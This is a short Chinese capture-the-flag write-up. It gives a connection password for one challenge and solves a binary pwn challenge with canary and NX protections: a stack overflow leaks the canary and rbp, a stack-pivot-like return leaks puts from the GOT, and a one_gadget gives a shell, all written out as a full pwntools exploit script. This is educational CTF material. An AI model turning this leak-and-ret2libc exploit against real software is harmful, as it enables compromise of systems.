穿云入雾
这题nc连接后输入WuGongShan_i_Come
安源路矿
canary保护和NX保护
利用上面这个函数溢出一个泄露canary 还可以泄露在这里的rbp
这里泄露出来了
关键
然后当我想正常走ret2libc的流程的时候发现在连接后会出现超时的情况
这个时候,在高人指点下(赛后)发现可以利用一种类似于栈迁移的方法,就是利用上面泄露的rbp将函数puts完后回到puts这里,puts出puts的got表,之后在进行one_gadget(ret2libc超时)
但是要注意这里的rbp有变化
read到puts rbp-0x50
最后exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * from LibcSearcher import * context(log_level='debug') libc=ELF('./libc-2.27.so') elf=ELF('./pwn') p=process('./pwn') #p=remote('59.62.61.30', 48603) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi=0x400853 ret=0x40028b addr=0x4007af
payload1=b'a'*0x46+b'bbb' gdb.attach(p) pause() p.send(payload1)
p.recvuntil('bbb')
canary=u64(p.recv(7).rjust(8,b'\x00')) rbp_addr=u64(p.recv(6).ljust(8,b'\x00')) print(hex(canary)) print('rbp'+hex(rbp_addr)
payload2=b'a'*0x48+p64(canary) payload2+=p64(rbp_addr-0x50) payload2+=p64(pop_rdi) payload2+=p64(puts_got) payload2+=p64(addr) pause() #sleep(1) p.sendafter('overflow!',payload2) #p.recvuntil('overflow!') p.recv() leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))
print(hex(leak_addr))
one=0x4f3d5 libc_base=leak_addr-libc.sym['puts'] gadgets=libc_base+one ''' libc_base=leak_addr-libc.sym['puts'] bin_sh_addr=libc_base+next(libc.search(b'bin/sh')) system_addr=libc_base+libc.sym['system'] ''' payload=b'a'*0x48+p64(canary) payload+=b'a'*0x8 payload+=p64(gadgets)
''' payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(bin_sh_addr)+p64(system_addr) ''' p.sendline(payload)
p.interactive()
|